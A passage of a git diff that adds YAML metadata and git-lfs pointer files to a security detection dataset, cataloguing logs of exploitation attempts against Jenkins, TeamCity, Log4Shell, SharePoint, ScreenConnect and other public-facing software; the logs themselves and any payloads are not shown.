/datasets/attack_techniques/T1190/java/java_spawn_shell_nix-b006f086-b7ff-4ab9-80e8-43cb06c8975e.log + sourcetype: sysmon:linux + source: Syslog:Linux-Sysmon/Operational +- name: confluence + path: /datasets/attack_techniques/T1190/java/confluence-b006f086-b7ff-4ab9-80e8-43cb06c8975e.log + sourcetype: pan:threat + source: not_applicable +- name: log4shell-nginx + path: /datasets/attack_techniques/T1190/java/log4shell-nginx-b006f086-b7ff-4ab9-80e8-43cb06c8975e.log + sourcetype: nginx:plus:kv + source: /var/log/nginx/access.log diff --git a/datasets/attack_techniques/T1190/java/confluence-b006f086-b7ff-4ab9-80e8-43cb06c8975e.log b/datasets/attack_techniques/T1190/java/confluence-b006f086-b7ff-4ab9-80e8-43cb06c8975e.log new file mode 100644 index 000000000..98ba8719c --- /dev/null +++ b/datasets/attack_techniques/T1190/java/confluence-b006f086-b7ff-4ab9-80e8-43cb06c8975e.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:51e67ab6e8e9bfd027f4ffa674237cbfba96a0ca060214e634519082653a4b56 +size 946 diff --git a/datasets/attack_techniques/T1190/java/java_spawn_shell_nix-b006f086-b7ff-4ab9-80e8-43cb06c8975e.log b/datasets/attack_techniques/T1190/java/java_spawn_shell_nix-b006f086-b7ff-4ab9-80e8-43cb06c8975e.log new file mode 100644 index 000000000..1cc61218c --- /dev/null +++ b/datasets/attack_techniques/T1190/java/java_spawn_shell_nix-b006f086-b7ff-4ab9-80e8-43cb06c8975e.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:738b57d19ccac429fa8f0b175bcc324b4c9153a39bce38fef4aac65b8f8d77ef +size 3836 diff --git a/datasets/attack_techniques/T1190/java/log4shell-nginx-b006f086-b7ff-4ab9-80e8-43cb06c8975e.log b/datasets/attack_techniques/T1190/java/log4shell-nginx-b006f086-b7ff-4ab9-80e8-43cb06c8975e.log new file mode 100644 index 000000000..b872b2aed --- /dev/null +++ b/datasets/attack_techniques/T1190/java/log4shell-nginx-b006f086-b7ff-4ab9-80e8-43cb06c8975e.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:b8a639f600dfe563a6f05f21ecde7ba2a9410cead5a5c0bca9e462e42b013091 +size 46269 diff --git a/datasets/attack_techniques/T1190/jenkins/T1190_jenkins.yml b/datasets/attack_techniques/T1190/jenkins/T1190_jenkins.yml new file mode 100644 index 000000000..bd2bf6324 --- /dev/null +++ b/datasets/attack_techniques/T1190/jenkins/T1190_jenkins.yml @@ -0,0 +1,13 @@ +author: STRT +id: 4ad7449b-9740-4678-aec1-c387301195db +date: '2026-07-13' +description: Curated attack data generated for detection Jenkins Arbitrary File Read + CVE-2024-23897 +environment: attack_range +directory: jenkins +mitre_technique: [] +datasets: +- name: nginx_jenkins_cve_2023_23897 + path: /datasets/attack_techniques/T1190/jenkins/nginx_jenkins_cve_2023_23897-4ad7449b-9740-4678-aec1-c387301195db.log + sourcetype: nginx:plus:kv + source: nginx:plus:kv diff --git a/datasets/attack_techniques/T1190/jenkins/nginx_jenkins_cve_2023_23897-4ad7449b-9740-4678-aec1-c387301195db.log b/datasets/attack_techniques/T1190/jenkins/nginx_jenkins_cve_2023_23897-4ad7449b-9740-4678-aec1-c387301195db.log new file mode 100644 index 000000000..ad3a6a4c0 --- /dev/null +++ b/datasets/attack_techniques/T1190/jenkins/nginx_jenkins_cve_2023_23897-4ad7449b-9740-4678-aec1-c387301195db.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:9c65ada69cf74badcf2e32e59d8f56f3441fe2a02980e33405cb01541d5b4914 +size 15214 diff --git a/datasets/attack_techniques/T1190/jetbrains/T1190_jetbrains.yml b/datasets/attack_techniques/T1190/jetbrains/T1190_jetbrains.yml new file mode 100644 index 000000000..9f4e879cc --- /dev/null +++ b/datasets/attack_techniques/T1190/jetbrains/T1190_jetbrains.yml @@ -0,0 +1,21 @@ +author: STRT +id: 59743bbc-0a7e-48ce-8d7a-b417bc70b44a +date: '2026-07-13' +description: Curated attack data generated for detection JetBrains TeamCity Authentication + Bypass CVE-2024-27198 +environment: attack_range +directory: jetbrains +mitre_technique: [] +datasets: +- name: teamcity_cve_2024_27198 + path: /datasets/attack_techniques/T1190/jetbrains/teamcity_cve_2024_27198-59743bbc-0a7e-48ce-8d7a-b417bc70b44a.log + sourcetype: suricata + source: not_applicable +- name: teamcity_cve_2024_27199 + path: /datasets/attack_techniques/T1190/jetbrains/teamcity_cve_2024_27199-59743bbc-0a7e-48ce-8d7a-b417bc70b44a.log + sourcetype: suricata + source: not_applicable +- name: teamcity + path: /datasets/attack_techniques/T1190/jetbrains/teamcity-59743bbc-0a7e-48ce-8d7a-b417bc70b44a.log + sourcetype: suricata + source: not_applicable diff --git a/datasets/attack_techniques/T1190/jetbrains/teamcity-59743bbc-0a7e-48ce-8d7a-b417bc70b44a.log b/datasets/attack_techniques/T1190/jetbrains/teamcity-59743bbc-0a7e-48ce-8d7a-b417bc70b44a.log new file mode 100644 index 000000000..9e088dde5 --- /dev/null +++ b/datasets/attack_techniques/T1190/jetbrains/teamcity-59743bbc-0a7e-48ce-8d7a-b417bc70b44a.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:adfe3eb9a42b8ed0c774d9319f5a6e4ed9b015a89023035bce59f73cc28e0958 +size 626 diff --git a/datasets/attack_techniques/T1190/jetbrains/teamcity_cve_2024_27198-59743bbc-0a7e-48ce-8d7a-b417bc70b44a.log b/datasets/attack_techniques/T1190/jetbrains/teamcity_cve_2024_27198-59743bbc-0a7e-48ce-8d7a-b417bc70b44a.log new file mode 100644 index 000000000..8042e9f3f --- /dev/null +++ b/datasets/attack_techniques/T1190/jetbrains/teamcity_cve_2024_27198-59743bbc-0a7e-48ce-8d7a-b417bc70b44a.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:01a496362062fcd120378b74d94ea89f615af110be18669af56770292a18ec20 +size 3055 diff --git a/datasets/attack_techniques/T1190/jetbrains/teamcity_cve_2024_27199-59743bbc-0a7e-48ce-8d7a-b417bc70b44a.log b/datasets/attack_techniques/T1190/jetbrains/teamcity_cve_2024_27199-59743bbc-0a7e-48ce-8d7a-b417bc70b44a.log new file mode 100644 index 000000000..ac5a88204 --- /dev/null +++ b/datasets/attack_techniques/T1190/jetbrains/teamcity_cve_2024_27199-59743bbc-0a7e-48ce-8d7a-b417bc70b44a.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:40df75dc84518b0d3b99d4b1ad5b1d9e62d2033b94b7d6e8e36de9de7db3fe00 +size 6563 diff --git a/datasets/attack_techniques/T1190/juniper/T1190_juniper.yml b/datasets/attack_techniques/T1190/juniper/T1190_juniper.yml new file mode 100644 index 000000000..aa83e3f98 --- /dev/null +++ b/datasets/attack_techniques/T1190/juniper/T1190_juniper.yml @@ -0,0 +1,13 @@ +author: STRT +id: df49c62a-9589-45a6-b230-dd50828a7db3 +date: '2026-07-13' +description: Curated attack data generated for detection Juniper Networks Remote Code + Execution Exploit Detection +environment: attack_range +directory: juniper +mitre_technique: [] +datasets: +- name: suricata_junos_cvemegazord + path: /datasets/attack_techniques/T1190/juniper/suricata_junos_cvemegazord-df49c62a-9589-45a6-b230-dd50828a7db3.log + sourcetype: suricata + source: not_applicable diff --git a/datasets/attack_techniques/T1190/juniper/suricata_junos_cvemegazord-df49c62a-9589-45a6-b230-dd50828a7db3.log b/datasets/attack_techniques/T1190/juniper/suricata_junos_cvemegazord-df49c62a-9589-45a6-b230-dd50828a7db3.log new file mode 100644 index 000000000..164c80d46 --- /dev/null +++ b/datasets/attack_techniques/T1190/juniper/suricata_junos_cvemegazord-df49c62a-9589-45a6-b230-dd50828a7db3.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:b7c7707e85d2494eab620c25a15486b81bb8f12b1d01b138e88a9f25eaaaddbc +size 3065 diff --git a/datasets/attack_techniques/T1190/log4j_proxy_logs/T1190_log4j_proxy_logs.yml b/datasets/attack_techniques/T1190/log4j_proxy_logs/T1190_log4j_proxy_logs.yml new file mode 100644 index 000000000..86a0709c7 --- /dev/null +++ b/datasets/attack_techniques/T1190/log4j_proxy_logs/T1190_log4j_proxy_logs.yml @@ -0,0 +1,13 @@ +author: STRT +id: ca29ba92-8773-4214-82f9-b445bf34aacc +date: '2026-07-13' +description: Curated attack data generated for detection Log4Shell JNDI Payload Injection + Attempt +environment: attack_range +directory: log4j_proxy_logs +mitre_technique: [] +datasets: +- name: log4j_proxy_logs + path: /datasets/attack_techniques/T1190/log4j_proxy_logs/log4j_proxy_logs-ca29ba92-8773-4214-82f9-b445bf34aacc.log + sourcetype: nginx:plus:kv + source: nginx diff --git a/datasets/attack_techniques/T1190/log4j_proxy_logs/log4j_proxy_logs-ca29ba92-8773-4214-82f9-b445bf34aacc.log b/datasets/attack_techniques/T1190/log4j_proxy_logs/log4j_proxy_logs-ca29ba92-8773-4214-82f9-b445bf34aacc.log new file mode 100644 index 000000000..48e359d09 --- /dev/null +++ b/datasets/attack_techniques/T1190/log4j_proxy_logs/log4j_proxy_logs-ca29ba92-8773-4214-82f9-b445bf34aacc.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:ebd3fd47004b217557b09c16581791cd9051f8dd8bb1946b91ccb9a2d8499258 +size 3295 diff --git a/datasets/attack_techniques/T1190/moveit/SftpServer-9eb33b1c-d8eb-468e-9b16-be81b426b2e4.log b/datasets/attack_techniques/T1190/moveit/SftpServer-9eb33b1c-d8eb-468e-9b16-be81b426b2e4.log new file mode 100644 index 000000000..5f2e8491d --- /dev/null +++ b/datasets/attack_techniques/T1190/moveit/SftpServer-9eb33b1c-d8eb-468e-9b16-be81b426b2e4.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:d565451685ab378fd05a5aef363bb8106dcf8a2a7d2f718b5e05ebfa7d7dd63f +size 167 diff --git a/datasets/attack_techniques/T1190/moveit/T1190_moveit.yml b/datasets/attack_techniques/T1190/moveit/T1190_moveit.yml new file mode 100644 index 000000000..ebdf449c5 --- /dev/null +++ b/datasets/attack_techniques/T1190/moveit/T1190_moveit.yml @@ -0,0 +1,13 @@ +author: STRT +id: 9eb33b1c-d8eb-468e-9b16-be81b426b2e4 +date: '2026-07-10' +description: Curated attack data generated for detection MOVEit Certificate Store + Access Failure +environment: attack_range +directory: moveit +mitre_technique: [] +datasets: +- name: SftpServer + path: /datasets/attack_techniques/T1190/moveit/SftpServer-9eb33b1c-d8eb-468e-9b16-be81b426b2e4.log + sourcetype: sftp_server_logs + source: sftp_server_logs diff --git a/datasets/attack_techniques/T1190/outbound_java/T1190_outbound_java.yml b/datasets/attack_techniques/T1190/outbound_java/T1190_outbound_java.yml new file mode 100644 index 000000000..22f2f2524 --- /dev/null +++ b/datasets/attack_techniques/T1190/outbound_java/T1190_outbound_java.yml @@ -0,0 +1,13 @@ +author: STRT +id: 3a052bf4-3ea0-40e1-9f22-1611547403ef +date: '2026-07-10' +description: Curated attack data generated for detection Outbound Network Connection + from Java Using Default Ports +environment: attack_range +directory: outbound_java +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1190/outbound_java/windows-sysmon-3a052bf4-3ea0-40e1-9f22-1611547403ef.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1190/outbound_java/windows-sysmon-3a052bf4-3ea0-40e1-9f22-1611547403ef.log b/datasets/attack_techniques/T1190/outbound_java/windows-sysmon-3a052bf4-3ea0-40e1-9f22-1611547403ef.log new file mode 100644 index 000000000..e64f536fb --- /dev/null +++ b/datasets/attack_techniques/T1190/outbound_java/windows-sysmon-3a052bf4-3ea0-40e1-9f22-1611547403ef.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:9094f35d60b5c2710b0679c24f9398853d991ae970d5dcc85a0b2c74b9d0a580 +size 3124 diff --git a/datasets/attack_techniques/T1190/papercut/T1190_papercut.yml b/datasets/attack_techniques/T1190/papercut/T1190_papercut.yml new file mode 100644 index 000000000..fc3cd8320 --- /dev/null +++ b/datasets/attack_techniques/T1190/papercut/T1190_papercut.yml @@ -0,0 +1,21 @@ +author: STRT +id: 8cc17f11-d6c4-459f-b266-96579abc82b2 +date: '2026-07-13' +description: Curated attack data generated for detection PaperCut NG Suspicious Behavior + Debug Log +environment: attack_range +directory: papercut +mitre_technique: [] +datasets: +- name: server + path: /datasets/attack_techniques/T1190/papercut/server-8cc17f11-d6c4-459f-b266-96579abc82b2.log + sourcetype: papercutng + source: papercutng +- name: papercutng-app-spawn_windows-sysmon + path: /datasets/attack_techniques/T1190/papercut/papercutng-app-spawn_windows-sysmon-8cc17f11-d6c4-459f-b266-96579abc82b2.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational +- name: papercutng-suricata + path: /datasets/attack_techniques/T1190/papercut/papercutng-suricata-8cc17f11-d6c4-459f-b266-96579abc82b2.log + sourcetype: suricata + source: not_applicable diff --git a/datasets/attack_techniques/T1190/papercut/papercutng-app-spawn_windows-sysmon-8cc17f11-d6c4-459f-b266-96579abc82b2.log b/datasets/attack_techniques/T1190/papercut/papercutng-app-spawn_windows-sysmon-8cc17f11-d6c4-459f-b266-96579abc82b2.log new file mode 100644 index 000000000..99e306552 --- /dev/null +++ b/datasets/attack_techniques/T1190/papercut/papercutng-app-spawn_windows-sysmon-8cc17f11-d6c4-459f-b266-96579abc82b2.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:8f16be8783ce413867b32e31122edfa141d7e774f99c92927cdb34b7e866d304 +size 18837 diff --git a/datasets/attack_techniques/T1190/papercut/papercutng-suricata-8cc17f11-d6c4-459f-b266-96579abc82b2.log b/datasets/attack_techniques/T1190/papercut/papercutng-suricata-8cc17f11-d6c4-459f-b266-96579abc82b2.log new file mode 100644 index 000000000..4e7b894ec --- /dev/null +++ b/datasets/attack_techniques/T1190/papercut/papercutng-suricata-8cc17f11-d6c4-459f-b266-96579abc82b2.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:91034361bea7c071994312d9fbc15859e4413eb2bce4ac18a57ddbd0d42b1c4d +size 6133 diff --git a/datasets/attack_techniques/T1190/papercut/server-8cc17f11-d6c4-459f-b266-96579abc82b2.log b/datasets/attack_techniques/T1190/papercut/server-8cc17f11-d6c4-459f-b266-96579abc82b2.log new file mode 100644 index 000000000..225401913 --- /dev/null +++ b/datasets/attack_techniques/T1190/papercut/server-8cc17f11-d6c4-459f-b266-96579abc82b2.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:280838fa684302242e818f17985d81de924f2fea07d361f231410ffa7571e0c6 +size 4944 diff --git a/datasets/attack_techniques/T1190/request_smuggling/T1190_request_smuggling.yml b/datasets/attack_techniques/T1190/request_smuggling/T1190_request_smuggling.yml new file mode 100644 index 000000000..da4c14d2d --- /dev/null +++ b/datasets/attack_techniques/T1190/request_smuggling/T1190_request_smuggling.yml @@ -0,0 +1,24 @@ +author: STRT +id: 972f2cee-57e7-45ee-b663-015c709503cc +date: '2026-07-13' +description: Curated attack data generated for detection HTTP Duplicated Header +environment: attack_range +directory: request_smuggling +mitre_technique: [] +datasets: +- name: suricata_request_smuggling + path: /datasets/attack_techniques/T1190/request_smuggling/suricata_request_smuggling-972f2cee-57e7-45ee-b663-015c709503cc.log + sourcetype: suricata + source: not_applicable +- name: nginx_request_smuggling + path: /datasets/attack_techniques/T1190/request_smuggling/nginx_request_smuggling-972f2cee-57e7-45ee-b663-015c709503cc.log + sourcetype: nginx:plus:kv + source: nginx:plus:kv +- name: suricata_reserved_names + path: /datasets/attack_techniques/T1190/request_smuggling/suricata_reserved_names-972f2cee-57e7-45ee-b663-015c709503cc.log + sourcetype: suricata + source: not_applicable +- name: nginx_scripting_tools + path: /datasets/attack_techniques/T1190/request_smuggling/nginx_scripting_tools-972f2cee-57e7-45ee-b663-015c709503cc.log + sourcetype: nginx:plus:kv + source: nginx:plus:kv diff --git a/datasets/attack_techniques/T1190/request_smuggling/nginx_request_smuggling-972f2cee-57e7-45ee-b663-015c709503cc.log b/datasets/attack_techniques/T1190/request_smuggling/nginx_request_smuggling-972f2cee-57e7-45ee-b663-015c709503cc.log new file mode 100644 index 000000000..908354793 --- /dev/null +++ b/datasets/attack_techniques/T1190/request_smuggling/nginx_request_smuggling-972f2cee-57e7-45ee-b663-015c709503cc.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:3362ea8a0e1426ed45bd57ad239af4210d55ec2afa8ecff01e94c188ebd9fa77 +size 190348 diff --git a/datasets/attack_techniques/T1190/request_smuggling/nginx_scripting_tools-972f2cee-57e7-45ee-b663-015c709503cc.log b/datasets/attack_techniques/T1190/request_smuggling/nginx_scripting_tools-972f2cee-57e7-45ee-b663-015c709503cc.log new file mode 100644 index 000000000..fa307d16d --- /dev/null +++ b/datasets/attack_techniques/T1190/request_smuggling/nginx_scripting_tools-972f2cee-57e7-45ee-b663-015c709503cc.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:e99a2965e8205e36ba21ad2c6778be73cb60a23ea07215e3bac8a82fd25e2d19 +size 12788 diff --git a/datasets/attack_techniques/T1190/request_smuggling/suricata_request_smuggling-972f2cee-57e7-45ee-b663-015c709503cc.log b/datasets/attack_techniques/T1190/request_smuggling/suricata_request_smuggling-972f2cee-57e7-45ee-b663-015c709503cc.log new file mode 100644 index 000000000..af8d2c930 --- /dev/null +++ b/datasets/attack_techniques/T1190/request_smuggling/suricata_request_smuggling-972f2cee-57e7-45ee-b663-015c709503cc.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:adf654593513bfffda5229bf6c3cf17af2fc750f7c9c6a1b4a608cb2a9d2c0c1 +size 13856 diff --git a/datasets/attack_techniques/T1190/request_smuggling/suricata_reserved_names-972f2cee-57e7-45ee-b663-015c709503cc.log b/datasets/attack_techniques/T1190/request_smuggling/suricata_reserved_names-972f2cee-57e7-45ee-b663-015c709503cc.log new file mode 100644 index 000000000..a078c5118 --- /dev/null +++ b/datasets/attack_techniques/T1190/request_smuggling/suricata_reserved_names-972f2cee-57e7-45ee-b663-015c709503cc.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:7d2496ca71983186f2d6e560caba0e7a73ebb8015858f7d1d3c63d05381e115b +size 1171 diff --git a/datasets/attack_techniques/T1190/sap/T1190_sap.yml b/datasets/attack_techniques/T1190/sap/T1190_sap.yml new file mode 100644 index 000000000..1f01b9e5e --- /dev/null +++ b/datasets/attack_techniques/T1190/sap/T1190_sap.yml @@ -0,0 +1,13 @@ +author: STRT +id: c8e57aa0-feda-471c-8e15-019f0f0565b8 +date: '2026-07-13' +description: Curated attack data generated for detection SAP NetWeaver Visual Composer + Exploitation Attempt +environment: attack_range +directory: sap +mitre_technique: [] +datasets: +- name: suricata_sapnetweaver + path: /datasets/attack_techniques/T1190/sap/suricata_sapnetweaver-c8e57aa0-feda-471c-8e15-019f0f0565b8.log + sourcetype: suricata + source: not_applicable diff --git a/datasets/attack_techniques/T1190/sap/suricata_sapnetweaver-c8e57aa0-feda-471c-8e15-019f0f0565b8.log b/datasets/attack_techniques/T1190/sap/suricata_sapnetweaver-c8e57aa0-feda-471c-8e15-019f0f0565b8.log new file mode 100644 index 000000000..95d22f1b7 --- /dev/null +++ b/datasets/attack_techniques/T1190/sap/suricata_sapnetweaver-c8e57aa0-feda-471c-8e15-019f0f0565b8.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:2d24efc270ba21f89e61043bc4ce9f224c9dd23ef06dfeb5f716d1558b90b0a0 +size 9137 diff --git a/datasets/attack_techniques/T1190/screenconnect/T1190_screenconnect.yml b/datasets/attack_techniques/T1190/screenconnect/T1190_screenconnect.yml new file mode 100644 index 000000000..c675fd554 --- /dev/null +++ b/datasets/attack_techniques/T1190/screenconnect/T1190_screenconnect.yml @@ -0,0 +1,21 @@ +author: STRT +id: 0e2c9888-60bb-44fb-800c-40c4203c6392 +date: '2026-07-13' +description: Curated attack data generated for detection ConnectWise ScreenConnect + Path Traversal +environment: attack_range +directory: screenconnect +mitre_technique: [] +datasets: +- name: sysmon_app_extensions + path: /datasets/attack_techniques/T1190/screenconnect/sysmon_app_extensions-0e2c9888-60bb-44fb-800c-40c4203c6392.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational +- name: connectwise_auth_suricata + path: /datasets/attack_techniques/T1190/screenconnect/connectwise_auth_suricata-0e2c9888-60bb-44fb-800c-40c4203c6392.log + sourcetype: suricata + source: not_applicable +- name: nginx_screenconnect + path: /datasets/attack_techniques/T1190/screenconnect/nginx_screenconnect-0e2c9888-60bb-44fb-800c-40c4203c6392.log + sourcetype: nginx:plus:kv + source: nginx:plus:kv diff --git a/datasets/attack_techniques/T1190/screenconnect/connectwise_auth_suricata-0e2c9888-60bb-44fb-800c-40c4203c6392.log b/datasets/attack_techniques/T1190/screenconnect/connectwise_auth_suricata-0e2c9888-60bb-44fb-800c-40c4203c6392.log new file mode 100644 index 000000000..c2ec34085 --- /dev/null +++ b/datasets/attack_techniques/T1190/screenconnect/connectwise_auth_suricata-0e2c9888-60bb-44fb-800c-40c4203c6392.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:7d6302a9225c96c75e8b44ea2eb6145fab32edd741589ed41fc35fa4080181f5 +size 616 diff --git a/datasets/attack_techniques/T1190/screenconnect/nginx_screenconnect-0e2c9888-60bb-44fb-800c-40c4203c6392.log b/datasets/attack_techniques/T1190/screenconnect/nginx_screenconnect-0e2c9888-60bb-44fb-800c-40c4203c6392.log new file mode 100644 index 000000000..1ddcb042b --- /dev/null +++ b/datasets/attack_techniques/T1190/screenconnect/nginx_screenconnect-0e2c9888-60bb-44fb-800c-40c4203c6392.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:b521fb6ae93a3bf8b49db6099d94a7866774b66e7cb1800b7a5df10d3fb31b08 +size 524 diff --git a/datasets/attack_techniques/T1190/screenconnect/sysmon_app_extensions-0e2c9888-60bb-44fb-800c-40c4203c6392.log b/datasets/attack_techniques/T1190/screenconnect/sysmon_app_extensions-0e2c9888-60bb-44fb-800c-40c4203c6392.log new file mode 100644 index 000000000..50f6de4a3 --- /dev/null +++ b/datasets/attack_techniques/T1190/screenconnect/sysmon_app_extensions-0e2c9888-60bb-44fb-800c-40c4203c6392.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:29ec567a1492996969c3fa4afe3251d460edbe3173849f2f7ce203887ab3831d +size 2228 diff --git a/datasets/attack_techniques/T1190/sharepoint/T1190_sharepoint.yml b/datasets/attack_techniques/T1190/sharepoint/T1190_sharepoint.yml new file mode 100644 index 000000000..9606d3d2b --- /dev/null +++ b/datasets/attack_techniques/T1190/sharepoint/T1190_sharepoint.yml @@ -0,0 +1,21 @@ +author: STRT +id: 4c77fbaa-79dc-46d3-ae54-c11f0984c954 +date: '2026-07-13' +description: Curated attack data generated for detection Microsoft SharePoint Server + Elevation of Privilege +environment: attack_range +directory: sharepoint +mitre_technique: [] +datasets: +- name: sharepointeop + path: /datasets/attack_techniques/T1190/sharepoint/sharepointeop-4c77fbaa-79dc-46d3-ae54-c11f0984c954.log + sourcetype: suricata + source: not_applicable +- name: spinstall0 + path: /datasets/attack_techniques/T1190/sharepoint/spinstall0-4c77fbaa-79dc-46d3-ae54-c11f0984c954.log + sourcetype: suricata + source: not_applicable +- name: toolpane + path: /datasets/attack_techniques/T1190/sharepoint/toolpane-4c77fbaa-79dc-46d3-ae54-c11f0984c954.log + sourcetype: suricata + source: not_applicable diff --git a/datasets/attack_techniques/T1190/sharepoint/sharepointeop-4c77fbaa-79dc-46d3-ae54-c11f0984c954.log b/datasets/attack_techniques/T1190/sharepoint/sharepointeop-4c77fbaa-79dc-46d3-ae54-c11f0984c954.log new file mode 100644 index 000000000..6540c93c5 --- /dev/null +++ b/datasets/attack_techniques/T1190/sharepoint/sharepointeop-4c77fbaa-79dc-46d3-ae54-c11f0984c954.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:f8c8f5b451ffe72e2ad4d193faf6dc72b3516b75f368c44ed1d331adffce7712 +size 1131 diff --git a/datasets/attack_techniques/T1190/sharepoint/spinstall0-4c77fbaa-79dc-46d3-ae54-c11f0984c954.log b/datasets/attack_techniques/T1190/sharepoint/spinstall0-4c77fbaa-79dc-46d3-ae54-c11f0984c954.log new file mode 100644 index 000000000..7ad737c69 --- /dev/null +++ b/datasets/attack_techniques/T1190/sharepoint/spinstall0-4c77fbaa-79dc-46d3-ae54-c11f0984c954.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:8b46b67cb54bae46d6b9bc8409aa1bf3a5a3bc70e1da33b744e8a2eecb11e32d +size 3284 diff --git a/datasets/attack_techniques/T1190/sharepoint/toolpane-4c77fbaa-79dc-46d3-ae54-c11f0984c954.log b/datasets/attack_techniques/T1190/sharepoint/toolpane-4c77fbaa-79dc-46d3-ae54-c11f0984c954.log new file mode 100644 index 000000000..2ca923fde --- /dev/null +++ b/datasets/attack_techniques/T1190/sharepoint/toolpane-4c77fbaa-79dc-46d3-ae54-c11f0984c954.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:8422f8223f4ed52253e399ffb5fe5911570e0e5248fb195fdcd2082056c9d8fb +size 643 diff --git a/datasets/attack_techniques/T1190/snapattack/T1190_snapattack.yml b/datasets/attack_techniques/T1190/snapattack/T1190_snapattack.yml new file mode 100644 index 000000000..22eb871ed --- /dev/null +++ b/datasets/attack_techniques/T1190/snapattack/T1190_snapattack.yml @@ -0,0 +1,13 @@ +author: STRT +id: d8cfd883-1bca-43e2-9bab-e271f2953152 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Shell or Script Execution + From IIS Directory +environment: attack_range +directory: snapattack +mitre_technique: [] +datasets: +- name: snapattack + path: /datasets/attack_techniques/T1190/snapattack/snapattack-d8cfd883-1bca-43e2-9bab-e271f2953152.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1190/snapattack/snapattack-d8cfd883-1bca-43e2-9bab-e271f2953152.log b/datasets/attack_techniques/T1190/snapattack/snapattack-d8cfd883-1bca-43e2-9bab-e271f2953152.log new file mode 100644 index 000000000..a172d4933 --- /dev/null +++ b/datasets/attack_techniques/T1190/snapattack/snapattack-d8cfd883-1bca-43e2-9bab-e271f2953152.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:7fcd035f921cf4230b81fe110801003b9a11b45eb86530e96307ceb43032fdcb +size 1206 diff --git a/datasets/attack_techniques/T1190/spring4shell/T1190_spring4shell.yml b/datasets/attack_techniques/T1190/spring4shell/T1190_spring4shell.yml new file mode 100644 index 000000000..2b92232df --- /dev/null +++ b/datasets/attack_techniques/T1190/spring4shell/T1190_spring4shell.yml @@ -0,0 +1,16 @@ +author: STRT +id: adef9abd-16e9-4c74-aae8-508af2fc9c8d +date: '2026-07-13' +description: Curated attack data generated for detection Java Writing JSP File +environment: attack_range +directory: spring4shell +mitre_technique: [] +datasets: +- name: java_write_jsp-linux-sysmon + path: /datasets/attack_techniques/T1190/spring4shell/java_write_jsp-linux-sysmon-adef9abd-16e9-4c74-aae8-508af2fc9c8d.log + sourcetype: sysmon:linux + source: Syslog:Linux-Sysmon/Operational +- name: spring4shell_nginx + path: /datasets/attack_techniques/T1190/spring4shell/spring4shell_nginx-adef9abd-16e9-4c74-aae8-508af2fc9c8d.log + sourcetype: nginx:plus:kv + source: /var/log/nginx/access.log diff --git a/datasets/attack_techniques/T1190/spring4shell/java_write_jsp-linux-sysmon-adef9abd-16e9-4c74-aae8-508af2fc9c8d.log b/datasets/attack_techniques/T1190/spring4shell/java_write_jsp-linux-sysmon-adef9abd-16e9-4c74-aae8-508af2fc9c8d.log new file mode 100644 index 000000000..d7622c855 --- /dev/null +++ b/datasets/attack_techniques/T1190/spring4shell/java_write_jsp-linux-sysmon-adef9abd-16e9-4c74-aae8-508af2fc9c8d.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:f74a8ed44ab927d12e2d50e8419fc0cccded3551f53c5b977d8ab6b47d891f6e +size 43890 diff --git a/datasets/attack_techniques/T1190/spring4shell/spring4shell_nginx-adef9abd-16e9-4c74-aae8-508af2fc9c8d.log b/datasets/attack_techniques/T1190/spring4shell/spring4shell_nginx-adef9abd-16e9-4c74-aae8-508af2fc9c8d.log 